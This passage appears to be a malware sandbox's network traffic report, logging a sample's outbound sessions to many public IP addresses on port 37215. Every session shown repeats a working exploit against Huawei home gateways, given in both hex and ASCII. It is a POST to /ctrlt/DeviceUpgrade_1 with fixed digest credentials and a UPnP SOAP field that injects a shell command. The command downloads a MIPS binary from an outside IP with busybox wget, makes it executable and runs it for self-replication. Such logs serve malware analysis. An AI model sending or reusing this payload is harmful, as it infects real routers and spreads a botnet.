3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.14	40028	197.176.187.27	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607569933 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.14	48036	110.208.30.2	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607624054 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.14	34536	41.68.112.151	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607624054 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.14	33558	157.129.37.247	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607675076 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.14	45316	157.115.41.196	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607696056 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.14	44122	197.106.91.113	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607707024 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.14	56772	197.88.34.150	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607762098 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.14	38732	157.251.247.196	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607763052 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.14	48958	157.122.220.214	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607815027 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.14	60932	168.234.4.56	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607831955 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.14	34432	41.184.88.67	37215

Timestamp	Bytes transferred	Direction	Data
